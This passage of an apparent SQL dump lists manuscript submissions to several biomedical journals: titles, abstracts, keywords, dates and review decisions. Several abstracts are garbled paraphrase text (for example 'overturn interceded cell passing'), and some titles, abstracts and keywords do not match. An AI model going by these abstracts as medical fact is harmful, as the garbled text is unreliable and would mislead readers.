large scale. Epidemics are peaks in disease incidence that exceed the endemic baseline or expected rate of disease. The size of the peak required to constitute an epidemic is arbitrary and is related to the background endemic rate and the rate of clinical to sub-clinical infection. Sometimes a few cases of a disease that arouse anxiety because of their severity, for example encephalitis, will be loosely termed an “epidemic” whereas a few cases of influenza will not, but the term strictly implies unusually wide and rapid spread of infection within the population.\r\n','Virus survival, viral shedding, routes of transmission, viral infections, epidemiological investigations, mathematical modeling',781,NULL,'2022-08-24',NULL,'Submitted',2,NULL,'2022-09-07',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12989,10256,73,0,'ipjnn-22-12989','Efficacy of trans nasal sphenopalatine ganglion block in migraine: A Review',NULL,5,0,'','Background: The Sphenopalatine ganglion (SPG), a parasympathetic ganglion in the pterygopalatine fossa, is involved in the activation of trigemino autonomic reflex, a pathway responsible for the symptoms of migraine and other primary headaches. Hypersensitivity of the SPG may be responsible for the escalating pain and repeated attacks in migraine. Blocking the Sphenopalatine ganglion may result in aborting of an acute migraine attack as well as decrease the frequency of subsequent attacks by decreasing hypersensitivity of the SPG.','Migraine',329,NULL,'2022-08-25',NULL,'Submitted',2,NULL,'2022-08-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12990,13195,1020,0,'ipmedt-22-12990','An Essential Biochemical Method to Examine Oxidative stress Impulses for Cellular Metabolism',NULL,5,0,'','Diminished glycolytic and mitochondrial breath rates are normal choices of overturn interceded cell passing that will duplicate key occasions contributive to death. Nonetheless, it\'s indistinct how much the speed changes is made sense of by direct modifications inside the elements of the partaking responses, as changes inside the convergences of intermediates furthermore meaningfully affect response rates. Transition changes that are made sense of principally by direct impacts are apparently to be practical objectives of the pathways that signal passing, and in this way vital supporters of overturn intervened cell demise. The board examination ideas pertinent to particular such impacts are checked on. Metabolic motion estimations Are fundamental for this methodology, but is actually extreme, outstandingly once abuse follower cells like neurons. A simple method is portraying that renders such estimations conceivable.','Apoptosis; glycolysis; mitochondria',5042,NULL,'2022-08-25',NULL,'Submitted',2,NULL,'2022-09-01',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12991,13196,1020,0,'ipmedt-22-12991','Mitochondrial DNA fragmentation and metabolic transformation in human cancers',NULL,5,0,'','A change in aldohexose digestion from organic cycle to metabolic interaction. Mitochondrial surrenders are intended to assume an indispensable part inside the inception and movement of shifted types of malignant growth. Inside the previous ten years, an enormous range of changes of mtDNA has been known in human diseases. It\'s been incontestable and referenced that initiation of oncogenes or change of development silencer qualities, as p53, will cause upregulation of glycolytic catalysts, restraint of the biogenesis and gathering of digestion protein buildings like hemoprotein. These discoveries could legitimize the legitimate peculiarities of raised aldohexose take-up and mitochondrial surrenders in diseases. During this article, we will generally audit the mortal mtDNA changes with facility obsessive relationships in human malignant growths, and their likely jobs in cancer beginning and metastasis. The flagging pathways worried inside the shift from vigorous digestion to metabolic cycle in human diseases.','Cancer; Mitochondrial DNA; Somatic mutation; Genome instability',5042,NULL,'2022-08-25',NULL,'Submitted',2,NULL,'2022-09-01',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12993,13198,326,0,'IPJUS-22-12993','Pacemaker Surgery and Artificial pacemaker',NULL,5,0,'','The contraction of cardiac muscle (heart muscle) in all animals is initiated by electrical impulses known as action potentials that in the heart are known as cardiac action potentials. The rate at which these impulses fire controls the rate of cardiac contraction, that is, the heart rate. The cells that create these rhythmic impulses, setting the pace for blood pumping, are called pacemaker cells, and they directly control the heart rate. They make up the cardiac pacemaker, that is, the natural pacemaker of the heart. In most humans, the highest concentration of pacemaker cells is in the sinoatrial (SA) node the natural and primary pacemaker, and the resultant rhythm is a sinus rhythm. Sometimes an ectopic pacemaker sets the pace, if the SA node is damaged or if the electrical conduction system of the heart has problems. Cardiac arrhythmias can cause heart block, in which the contractions lose any useful rhythm. In humans, and sometimes in other animals, a mechanical device called an artificial pacemaker (or simply \"pacemaker\") may be used after damage to the body\'s intrinsic conduction system to produce these impulses synthetically.','Pacemaker Surgery ',2505,NULL,'2022-08-25',NULL,'Submitted',2,NULL,'2022-09-01',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12994,8182,73,0,'ipjnn-22-12994','Duchene Muscular Dystrophy (DMD)/Becker muscular dystrophy (BMD): Genotyping and concept of prenatal diagnosis ',NULL,5,0,'','Background: Duchenne and Becker muscular dystrophy (DMD/BMD) are X-linked recessive disorders caused by mutation in dystrophin gene. Patients with muscle weakness came to hospital for improvement their child. Physician advice to dystrophin gene analysis who have high Cpk (Creatine kinase) value and muscle weakness. \r\nMethods: We collected 61 DMD/BMD patient specimens for genetic analysis in which three females were relatives. Multiplex polymerase chain reaction was done for detecting deletion of dystrophin gene.\r\nResults: The overall mutation detection rate was 72.4% (21/29) in DMD/BMD patients, identifying deletions in 58.6% (17/29). Most of the deletions were confined to the central hot spot region between exons 44 and 55 (52.9%, 7/19). \r\nConclusions: In this study we found that the Exons 50, 51, 48 and 52 are most frequently deleted. The frequency of deletions in exon 50 (21.31%) was the most common deletion frequently associated with our Bangladeshi sample males. This study will help to set up an effective platform for prenatal diagnosis in Bangladesh.','Duchene muscular dystrophy (DMD), X-linked, Mutation, Prenatal diagnosis',327,NULL,'2022-08-25',NULL,'Submitted',2,NULL,'2022-08-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12995,13199,326,0,'IPJUS-22-12995','classifications colonic polyps during colonoscopy',NULL,10,2,'','classification of colonic polyps during colonoscopy','',2505,NULL,'2022-08-25',NULL,'Submitted',1,NULL,'2022-11-09',NULL,1,1,'0','the submitted file (one page) contains information sufficient for an abstract and requiring discussion/conclusions. The quality of the submitted manuscript is not sufficient for being considered for publication in open access scientific journals',0,'','',NULL,0,0,0,NULL,0),(12997,13201,91,0,'ijddr-22-12997','A REVIEW ON NANOGELS',NULL,5,0,'','The term nanogels is described as nanosized particles assembled using physically or\r\nchemically cross-linked polymer networks that swell in a suitable solvent. Nanogels are\r\nthree-dimensional hydrophilic networks. These studies incorporate features for topical drug\r\ndelivery, owing to their relatively high drug-encapsulation ability, consistency, tunable size,\r\neffortless preparation, insignificant toxicity, and stability in the presence of serum including\r\nstimuli responsiveness. These are water-soluble and allow immediate drug loading in aqueous\r\nmedia. These are synthesized using a vast number of methods which include photolithographic\r\ntechnique, membrane emulsification, and polymerization techniques. When nanogels are used as\r\ndermatological preparations, the thesis is that extended exposure times on the skin and as a\r\nresult, extend the duration of therapeutic potency due to the entrapment of nanoparticles in the\r\ngel matrix.','Nanogels, Nanoparticles, Cross linkage, Polymerization, Antiseptic.',2474,NULL,'2022-08-26',NULL,'Submitted',2,NULL,'2022-08-30',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12998,13202,326,0,'IPJUS-22-12998','Thyroid Surgery: Thyroidectomy',NULL,5,0,'','Incidence rates of thyroid cancer have increased substantially worldwide in the past several decades. Thus, diseases of the thyroid gland and their treatment remain one of the most interesting and dynamic areas of study in medicine. This chapter presents a clear and concise description of current thought and practice concerning the surgical treatment of thyroid diseases. Sections within this chapter include normal and abnormal anatomy and embryology of the thyroid and surrounding neck structures indications for operation of benign lesions of this gland diagnosis of thyroid nodules, stressing the use of fine needle aspiration with cytologic analysis preparation for operation and care of patients with Graves’ disease surgical approaches for treatment of the different types of thyroid cancer operative techniques for thyroidectomy including descriptions of standard open, minimally invasive, endoscopic, robotic and transoral approaches complications of thyroidectomy and their treatment and developmental abnormalities of the thyroid and their treatment. This chapter offers information for physicians and endocrinologists, as well as for surgeons\r\nThyroidectomy is the surgical removal of all or part of your thyroid gland. Your thyroid is a butterfly-shaped gland located at the base of your neck. It produces hormones that control every aspect of your metabolism, from your heart rate to how quickly you burn calories.\r\nThyroidectomy is used to treat thyroid disorders, such as cancer, noncancerous enlargement of the thyroid (goiter) and overactive thyroid (hyperthyroidism).\r\n','Thyroid Surgery, thyroid disorders',2505,NULL,'2022-08-26',NULL,'Submitted',2,NULL,'2022-09-01',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13000,13154,975,0,'ipjbs-22-13000','Impacts of SARS-CoV-2 infection on diabetic patients',NULL,14,0,'','The present pandemic of SARS-CoV-2 coronavirus disease 2019 (COVID-19) is a serious challenge to Diabetes patients. Such patients may experience mild to more severe illnesses, organ failures, comorbidities and high risk of mortality due to pulmonary and cardiac involvement. This study was carried out to investigate the effects of Covid-19 on patients with Diabetes admitted to Afghan Japan Communicable Disease Hospital, Kabul, Afghanistan. The medical records of 102 patients were reviewed who were hospitalized due to Covid-19 from March to July in 2021. Data was collected on Diabetes status, Comorbid conditions and Laboratory Results. The data was analyzed using SPSS 26 (IBM). The data analyzed shows (56.86%) were male with diabetes and (43.14%) were female, and (70%) of patients had age more than 50 years. The mortality rate was much higher than expectations (49%). The most common complications reported in diabetic patients died of COVID19 were Acute Respiratory Distress Syndrome ARDS (82%), Cardiac Pulmonary Arrest (CPA) (82%), Pneumonia (70%), Respiratory Failure (54%), Sepsis (46%), and Chronic obstructive pulmonary disease (COPD) (6%). Diabetic patients who are infected with SARS-CoV-2 are at higher risk of mortality. Our findings suggested that diabetes did not significantly impact the prognosis of Covid-19 patients but negatively affect their clinical course???. Further actions should be taken to make a significant step forward in the care for Diabetes patient. Research is needed to find the molecular changes occur in expression level which leads to serious complications in diabetic patients who are infected with SARS-CoV2.','ARDS; Hypertension; COVID19; Medication',4089,NULL,'2022-08-27',NULL,'Submitted',2,NULL,'2022-09-13',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13001,13203,73,0,'ipjnn-22-13001','USE OF BENZODIAZEPINES ',NULL,14,2,'Clinical Neurology and Cognitive Neuroscience','','',326,NULL,'2022-08-27',NULL,'Submitted',12,NULL,'2023-02-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13002,13204,85,0,'iphspr-22-13002','Human resources management System by the Help of Health Care System',NULL,5,0,'','This study investigates the degree of disparities in the distribution of human resources at India\'s Health Sub-Centres, the primary level of service delivery in the public health system. The \'within state\' disparity was discussed, and the \'between state\' inequality was used to discuss the remaining inter-HSC inequality. In comparison to the size of their HSC provision, the Northern states had a lower share of health workers. The percentages of villages connected by all-weather roads and possessing elementary schools were contextual factors that contributed to \"between\" and \"within\" district discrepancies. Analysis shows that addressing \"within States\" inequality as a priority in policy and programming is necessary. Government-run health services are a significant source of healthcare in developing nations. While the private sector, which includes the for-profit and non-profit sectors, is also significant and could huge portions of the population are cut off from essential health care services.','Human health rights;  Health policy; Health care reform',3282,NULL,'2022-08-27',NULL,'Submitted',2,NULL,'2022-09-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13003,13205,85,0,'iphspr-22-13003','A cross-sectional study from China Community Health Advocates',NULL,5,0,'','On June 15, 2007, the 2005 revision of the International Health Regulations went into effect and became binding law for 196 nations, including all of the World Health Organization\'s Member States. According to the IHR, a public health emergency of international concern is \"an extraordinary incident that may present a public health danger to other nations through the international transmission of illness and may necessitate an international coordinated response. Any public health incident that satisfies any two of the subsequent four criteria must be reported to the WHO, according to the IHR. Is this incident likely to have a negative impact on public health; is it unusual or unexpected; may it spread internationally; and could there be travel and trade restrictions as a result of this occurrence. Declaring a PHEIC is meant to draw attention to those urgent public health threats that could travel over international boundaries and represent a hazard to people everywhere and \"demand coordinated mobilisation of extraordinary resources by the international community\" for prevention and response.','Health statistics; Health system policy analysis; Global Health',3282,NULL,'2022-08-27',NULL,'Submitted',2,NULL,'2022-09-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13004,13206,73,0,'ipjnn-22-13004','Future directions of brain-spinal cord neural networks in assessing spinal cord injury at rest',NULL,5,0,'','Brain connectomes in view of neuroimaging information is a moderately new field of examination that maps the cerebrum\'s enormous scope underlying and practical organizations very still. Critically, expanding proof shows that such resting-state signs can likewise be found in the spinal line. In the current survey, we center around the recreation of staggered brain circuits after SCI. We additionally portray how the connectome idea could advance comprehension we might interpret brain adaptability after SCI. We recommend that planning the cortical-subcortical-spinal string organizations can give novel experiences into the pathologies of SCI.','neural networks',326,NULL,'2022-08-27',NULL,'Submitted',2,NULL,'2022-08-29',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13005,13207,73,0,'ipjnn-22-13005','New Therapeutic strategies for Alzheimer\'s disease',NULL,5,0,'','Alzheimer\'s disease (AD) is an ever-evolving decay of cerebrum capability, at first portrayed by mental shortages, with loss of ongoing memory and language capacity, disability of direction, critical thinking, and unique reasoning. While existing medication medicines assist with diminishing the side effects of AD and work on individuals\' personal satisfaction, they neither sluggish its movement nor fix it. As of now, designated drug conveyance to the focal sensory system (CNS), for treatment of AD, is bound by the difficulties presented by blood-mind interfaces encompassing the CNS, restricting the bioavailability of therapeutics. Among new systems to defeat these impediments and effectively convey medications to the CNS, nanoparticles (NPs) can beat these constraints, offering new helpful assignments in term of driving medications to cross the BBB and enter the cerebrum all the more really. The ebb and flow article expected to rundown and feature progresses in late examination on the improvement of nanotechnology-based therapeutics for their suggestions in treatment of AD.','Alzheimer\'s disease',330,NULL,'2022-08-27',NULL,'Submitted',2,NULL,'2022-08-29',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13006,13208,91,0,'ijddr-22-13006','Isolation and Characterization of Lytic Phage Against Salmonella Typhimurium',NULL,5,0,'','Significant prevalence of antibiotic resistance in Salmonella has been observed, causing global concern that it may lead to more severe health effects. The use of bacteriophages as an alternative treatment tool for the management of bacterial infections has recently received new attention. This study aimed to identify a Salmonella typhimurium-specific phage from chicken farms. The ability of lytic phage SAL 10 to stop the growth of bacteria was verified. A series of phage analyses were conducted to verify their physical characteristics, such as temperature, pH, and host range. The phage was more stable at 37–50 °C and at pH 4–7. During the first 4 h of infection, phage SAL 10 inhibited the host bacterial growth. Following 24 h of incubation at 37 °C, phage titration was reported to be in the range of 103–108 PFU/mL in all experiments. Moreover, the morphological properties of the phage were determined using transmission electron microscopy, and the phage SAL 10 was considered to belong to the order Caudovirales and family Siphoviridae. Through the results presented in this research, SAL 10 phage can be used as a successful alternative to antibiotics. ','',5406,NULL,'2022-08-28',NULL,'Submitted',12,NULL,'2022-09-17',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13007,13209,85,0,'iphspr-22-13007','IMPACT OF COVID 19 ON GOVERNMENT POLICIES AND ADMINISTRATION',NULL,5,0,'','“The year 2020 gave birth to a pandemic called COVID-19, which overshadowed all the existing problems faced by the world. It led to the suspension of social and economic activities in almost all countries. The reinstatement of all aspects of social and economic life depends on how effectively governments tackle this pandemic and protect their populations from getting infected.”\r\n“The development plan adopted in 2015 by the United Nations General Assembly, called the Sustainable Development Goals, aims for development that ensures healthy lives and promotes the well-being of people of all ages. A fundamental assumption of the goals is that health is a significant contributor and beneficiary of sustainable development policies.1 The COVID-19 pandemic has disrupted public health policies in developed and developing nations across the globe. Consequently, governments worldwide have devoted their public policies to fight the pandemic.”\r\n','COVID-19, Nation, health, government, public policies.',3282,NULL,'2022-08-28',NULL,'Submitted',2,NULL,'2022-11-01',NULL,1,1,'1','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13008,13210,73,0,'ipjnn-22-13008','Iatrogenic segmental Artery Aneurysmal Hemorrhage: Diagnosis, Management, and Prognosis: case report and review of the literature ',NULL,2,0,'','Study Design: Case report.\r\nObjective: Segmental arteries are responsible for a remarkable part of the spinal circulation and aneurysmal rupture of these arteries and their branches might happen in rare cases. \r\nSummary of background data: Here we report a unique iatrogenic segmental Artery Aneurysmal injury with the possibility of a thrombosed aneurysm, successfully treated with endovascular catheter-directed glue administration. \r\nMethods: In this study, we would review the literature on the diagnosis, management, and prognosis of segmental Artery Aneurysmal injuries. Lower back pain and neurologic impairments are the most common symptoms of segmental Artery aneurysms. \r\nResults: In most situations, MRI is the primary diagnostic option; however, depending on the patient\'s health, a brain CT scan and lumbar puncture may be required. Lumbar puncture and CT scan may indicate SAH in the case of ruptured ones. Spinal angiography that include both subclavian and vertebral and sacral artery provide for the most reliable identification of segmental artery aneurysm. Treatment is tailored to the individual, with conservative, surgical, and endovascular options available. \r\nConclusion: Endovascular therapy with catheter-directed adhesive application appears to be safe.\r\n','Aneurysm, segmental Artery, Subarachnoid Hemorrhage',4796,NULL,'2022-08-28',NULL,'Submitted',2,NULL,'2022-09-22',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13010,13211,667,0,'iptb-22-13010','An Overview Four –stroke linear engine ',NULL,5,0,'','In this study, a single-cylinder, four-stroke diesel engine underwent conjugate thermodynamics and dynamic modelling. The general state equation for ideal gases and the first law of thermodynamics were used to compute the gas pressure within the cylinder. The thermodynamic cycle\'s variance in heat delivered to the working fluid during the heating phase was modelled using the Gaussian function. The piston, conrod, and crankshaft motion equations make up the engine\'s dynamic model. Two translational and one angular motion equation were used to model Conrod motion. The Newton method was used to get the motion equations. Hydrodynamic and asperity frictions as well as gas forces will be included in motion equations.','Translational Research; Research Evaluation; Methods For Evaluating; Bibliometric Analysis; Biomedical Translational Research.',3322,NULL,'2022-08-29',NULL,'Submitted',2,NULL,'2022-08-30',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13011,13175,667,0,'iptb-22-13011','Interrogation of Electronic Health Record Data by biomedical researcher',NULL,5,0,'','For research purposes such as cohort identification, Phenotyping, Pharmacovigilance, and public health surveillance, electronic health records are an essential data source. Enabling effective and independent EHR data interrogation by end users, such as biomedical researchers, is essential to achieving the promise of EHR data for advancing clinical research. This essay examines contemporary strategies and significant methodological issues for achieving this goal. With the goal of making it easier for end users to query EHR data, we modified a previously published conceptual framework for interactive information retrieval, which identifies three entities: user, channel, and source. We demonstrate that the current development in biomedical informatics is predominantly driven by support for query execution and information modelling, mostly as a result of emphasis on the creation of data infrastructure. Access through self-service query tools, but has overlooked the necessity for user help during laborious and erroneous repetitive query formulation processes. On the other hand, complex theories and techniques for user modelling and question formulation support have been provided in the information science literature.','Phenotyping; Pharmacovigilance; Biomedical Informatics',3933,NULL,'2022-08-29',NULL,'Submitted',2,NULL,'2022-08-30',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13012,13212,959,0,'ipacr-22-13012','Genomic Profiling to Differentiate Primary Lung Cancer from Lung Metastases',NULL,5,0,'','Lung cancer could be a kind of cancer that begins within the lungs. Your lungs ar 2 spongy organs in your chest that soak up element after you inhale and unleash CO2 after you exhale. Lung cancer is that the leading reason behind cancer deaths worldwide. People who smoke have the best risk of carcinoma, although carcinoma also can occur in those who haven\'t preserved. The chance of carcinoma will increase with the length of your time and variety of cigarettes you have preserved. If you quit smoking, even when smoking for several years, you\'ll considerably scale back your possibilities of developing carcinoma.','Radiologists; Lung cancer; lung Cancer Screening; Pre clinical model; Genomic Diagnosis',5400,NULL,'2022-08-29',NULL,'Submitted',2,NULL,'2022-08-30',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13013,13213,667,0,'iptb-22-13013','Frequency of Obstructive Hydrocephalus in Children With Tuberculous Meningitis',NULL,5,0,'','INTRODUCTION: Tuberculous meningitis is the Mycobacterium tuberculosis infection of the meninges around the brain. It is a very critical disease in terms of fatal outcomes and permanent sequelae, requiring prompt diagnosis and urgent treatment. Despite the great advances in all the fields of medical science, tuberculous meningitis still remains amongst the greatest public health challenges in developing countries like Pakistan. Tuberculosis is among the top 10 causes of death worldwide. Hydrocephalus is one of the most common complications of tuberculous meningitis.\r\n\r\nOBJECTIVE: To determine the frequency of obstructive hydrocephalus in tuberculous meningitis.\r\n\r\nSTUDY SETTING: The study was carried out at the Medical, Neurology and, Neurosurgery Departments of Children Hospital, Lahore.\r\n\r\nDURATION OF STUDY: November 30, 2020, to May 30, 2021\r\n\r\nSTUDY DESIGN: Cross-Sectional Study\r\n\r\nSUBJECTS & METHODS: A total of 278 Patients with Tuberculous meningitis fulfilling inclusion criteria were selected for the study. Patients were labeled as having obstructive hydrocephalus as per the report of their MRI brain done by a single consultant radiologist to avoid bias. Tuberculous meningitis and obstructive hydrocephalus were managed as per hospital protocol. Statistical package for the social sciences (SPSS) v25.0 software was used to analyze the collected data. Data were stratified for age, gender, and duration of TBM. Post-stratification, a Chi-square test was applied. A p-value ≤0.05 was considered significant.\r\n\r\nRESULTS: In this study, 278 patients who had Tuberculous meningitis fulfilling the selection criteria were included. Among these patients, 159(57.2%) were males and 119(42.8%) were females. The mean age of the patients was 6.2±2.3 years with 6 months and 12 years as minimum and maximum ages. Among these patients, 61(21.9%) patients had obstructive hydrocephalus.\r\n\r\nCONCLUSION: Obstructive Hydrocephalus is an important and deadly complication of tuberculous meningitis and even its low presence cannot be ignored. Management and assessment of Obstructive Hydrocephalus in children with Tuberculous meningitis should be carefully monitored.','Obstructive Hydrocephalus, Tuberculous Meningitis.',3459,NULL,'2022-08-29',NULL,'Submitted',2,NULL,'2022-10-13',NULL,1,1,'1','Àccept',0,'','',NULL,0,0,0,NULL,0),(13014,13214,85,0,'iphspr-22-13014','Health Outcome in Cancer Patients by Health System Policy',NULL,5,0,'','More and more often, randomised controlled trials are used to assess how well interventions work to improve health. Individuals in clusters are frequently more similar than those in separate clusters, regardless of therapy, which is a crucial characteristic of CRCTs. When designing CRCTs to achieve acceptable sample sizes and when analysing clustered data to obtain accurate estimates, it is important to take into account this similarity within clusters. Methods: Year olds\' nationally representative data from the nations that took part in the 2007 European School Survey Project on Alcohol and Other Drugs were examined. For substance use and psychosocial health, intra-class correlation coefficients at the national school level were determined.','Health policy; Health human resources; Health care system',3282,NULL,'2022-08-30',NULL,'Submitted',2,NULL,'2022-09-02',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13015,13215,959,0,'ipacr-22-13015','A scoping study of patient-reported outcomes in sarcoma',NULL,5,0,'','Sarcoma could be a heterogeneous cluster of tumours, typically poignant young patients and associated with each endogenous and exogenous risk factor. The importance of getting the patient\'s perspective of the unwellness expertise is imperative. Patient-reported outcomes (PROs) square measure the outcomes that return directly from the patient. They embrace symptoms, useful health, well-being, quality of life, psychological problems, among different indicators according by the patients. The target of this scoping review was to map the execs in malignant neoplastic disease patients and the way they\'re measured. Epigenetic mechanisms of tumorigenesis are concerned in mesenchymal tumors starting from chondroblastoma and large cell tumour of bone to sarcoma, malignant peripheral nerve sheath tumor, secretion malignant neoplastic disease, and epithelioid malignant neoplastic disease and Ewing malignant neoplastic disease - all diseases that gift in an exceedingly younger patient population than most cancers. Finally, we have a tendency to review current and potential future approaches for the event of malignant neoplastic disease therapies supported this rising understanding of body substance deregulation.','Sarcoma cells of origin; Sarcoma stem cells; Epidemiology; Cell tumour; Radiation therapy',5400,NULL,'2022-09-01',NULL,'Submitted',2,NULL,'2022-09-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13016,13216,85,0,'iphspr-22-13016','Monitoring About Structural Health By Health Management',NULL,5,0,'','The goal of this research is to create a finite difference model that will simulate Lamb wave propagation across single lap joints. The fundamental benefit of this approach is its straightforward mathematical reproduction of the existence of damage as a discontinuity in velocity values. Because of this, our approach may be used to continuously and embeddedly monitor the structural health of complex structures.','Health systems financing; Health statistics; Health promotion',3282,NULL,'2022-09-01',NULL,'Submitted',2,NULL,'2022-09-02',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13017,13217,959,0,'ipacr-22-13017','New methods for studying cancer metastases using metabolomics',NULL,5,0,'','Metastasis is accountable for ninetieth of deaths in patients with cancer. Understanding the role of metabolism throughout metastasis has been restricted by the event of strong and sensitive technologies that capture metabolic processes in metastasizing cancer cells. We have a tendency to discuss the present technologies out there to check metabolism in primary and pathologic process cancer cells and metabolic interactions between cancer cells and also the neoplasm microenvironment (TME) at totally different stages of the pathologic process cascade. We have a tendency to establish benefits and downsides of every methodology and discuss however these tools and technologies can more improve our understanding of metastasis. Studies investigation the advanced metabolic rewiring of various cells victimization progressive metabolomic technologies have the potential to reveal novel biological processes and therapeutic interventions for human cancers.','Cancer metastases; Tumor micro-environment; Drug delivery; Stimulus-response; metabolomics',5400,NULL,'2022-09-01',NULL,'Submitted',2,NULL,'2022-09-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13018,13218,91,0,'ijddr-22-13018','Modern Medical Research: Potential Use for New Drug Development',NULL,5,0,'','In the past 30 years, there has been an exponential growth in highly advanced scientific and medical research technologies, to the point that the large number of identified molecular agents connected to pathogenesis cannot be easily integrated or processed by traditional analytical methods. In fact, the identification of more complex diseases has increased in part as a result of the recognition that various moieties represent disease markers. Thanks to currently accessible cutting-edge technology, researchers and doctors can now examine and analyse any specific dysregulations occurring at the genomic, transcriptomic, miRnomic, proteomic, and metabolomic levels. However, there are limitations to this brave new world of science, including the fact that only isolated molecular levels are now being separately examined for their impact on any given health problem. Systems biology and medicine have mostly focused since their inception in 1992 on the perturbations of overall route dynamics for the start and worsening of the researched condition. Therefore, systems medicine methodologies can be used to shed light on a variety of study settings, ultimately producing the useful finding of novel dynamic interaction networks that are crucial for influencing the course of medical disorders. As a result, systems medicine also helps to pinpoint clinically significant molecular targets for counteracting this illness with diagnostic and treatment methods.\r\nMany of the peptides found in scorpion fluids demonstrated a wide range of biological actions with high specificities to their intended locations. Numerous studies have described their powerful activities against microorganisms and demonstrated their capacity to alter different biological processes related to immunological, neurological, cardiovascular, and neoplastic illnesses. It is predicted that peptides obtained from scorpions could be exploited to create new, specialised medicines because of their significant structural and functional diversity. This review outlines pertinent findings to help make them more effective as useful resources for the creation of novel medicines.','Transcriptomic; Drug; Development; Proteomic',5033,NULL,'2022-09-01',NULL,'Submitted',2,NULL,'2022-09-02',NULL,1,1,'1','Accept\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(13019,13105,975,0,'ipjbs-22-13019','AN INSIGHT OF INTERLEUKIN -6 AND FIBRINOGEN: IN REGULATING THE IMMUNE SYSTEM',NULL,14,0,'','The role of the liver as a critical part of the immune system involved in both innate and adaptive immunity. As a major source of acute phase proteins, including components of the complement system. Hepatocytes are an important part of innate immunity and play an important role in controlling inflammatory responses throughout the body. Acute-phase protein production in hepatocytes is controlled by various cytokines released during the inflammatory process, with IL-6 and IL-1 type cytokines acting as key regulators, cascading and synergistic regulation or it functions as a cascade network with inhibition. Effects on acute-phase protein expression. The proinflammatory cytokine interleukin-6 is an endogenous biochemical active during B cell maturation and inflammatory processes. Interleukin-6 plays an important role in regulating acute-phase protein synthesis in human hepatocytes.','interleukin-6, fibrinogen, immune system, inflammatory cytokines, acute phase proteins, B cell',4089,NULL,'2022-09-01',NULL,'Submitted',2,NULL,'2022-10-26',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13020,13105,975,0,'ipjbs-22-13020','AN UPDATE ON INTERFERON GAMMA AND C REACTIVE PROTEINS IN SICKLE CELL ANAEMIA CRISIS',NULL,14,0,'','Sickle cell disease has been described by many scholars as a chronic inflammatory disease which is linked to many factors such as endothelial destruction, increased synthesis of reactive oxygen specie, haemolysis, increased synthesis of pro inflammatory cytokines among others. Inflammatory process play a major function in the activation of acute painful vaso-occlusion crisis that forms the main reason for the hospitalization of patients with sickle cell anaemia. Inflammatory processes, are key components of several complications of the disease including autosplenectomy, acute chest syndrome, pulmonary hypertension, leg ulcer, nephropathy and stroke and also ultimately initiates painful vaso-occlusion episodes that characterize Sickle Cell Disease. This study titled “Update on Interferon Gamma and C Reactive Proteins in Sickle Cell Anaemia in Crises, aims at finding out the recent updates on interferon gamma; a pro-inflammatory cytokine that plays a central role in inflammation and auto-immunity, and CRP; an acute phase protein used as a marker of inflammation in sickle cell anaemia patients in crisis. A lot of search engines were consulted in the course of writing this review such as scopus, Pubmed Central, Web of Science, Semantics, Google Scholar, Researchgate, Academia Edu, etc. Previous studies have suggested that levels of pro-inflammatory cytokines vary between steady-state and crisis states in SCA patients, hypothesized to help monitor clinical progression of the disease. . Newer therapies that target pathways downstream of the sickle are considered better options. This knowledge may have implications for the development of new treatments for sickle cell disease.','Sickle cell anaemia, Crisis, interferon-gamma, C - reactive protein, inflammatory cytokines, cytokines',4089,NULL,'2022-09-01',NULL,'Submitted',2,NULL,'2022-10-26',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13021,13105,975,0,'ipjbs-22-13021','AN UPDATE ON SURVIVAL OF PEOPLE LIVING WITH HIV IN NIGERIA',NULL,15,0,'','Human immunodeficiency virus is a threat to human existence, especially in developing countries, including Nigeria. Although many preventive and interventional measures have been taken to reduce the threat of HIV, HIV remains a major cause of public challenge in this part of the world. This review was conducted to update society on the survival of people living with HIV/AIDS in Nigeria. During the course of this review, a number of references were consulted using various search engines including Pubmed Central, Google Scholar, Scopus, Sciago, Web of Science, Researchgate, Academia Edu, Semantics and LiveDna. Life expectancy for people living with HIV/AIDS (PLWHA) has increased significantly since the introduction of highly active antiretroviral therapy (HAART). Declining HIV/AIDS-related deaths and cohorts are increasing the proportion of people with HIV/AIDS who die from non-HIV/AIDS-related illnesses. Poor access to antiretroviral therapy, inadequate laboratory facilities, knowledge and attitudes of some patients, cultural beliefs, anti-gay laws and increasing HIV/TB co-infection continue to affect people living with HIV. It\'s a problem. HIV/AIDS-related deaths in Nigeria.','People living with HIV/AIDS, HIV, AIDS, TB, HAART',4089,NULL,'2022-09-01',NULL,'Submitted',4,NULL,'2022-10-25',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13022,13219,91,0,'ijddr-22-13022','REVIEW ON PERSONALISED MEDICINE 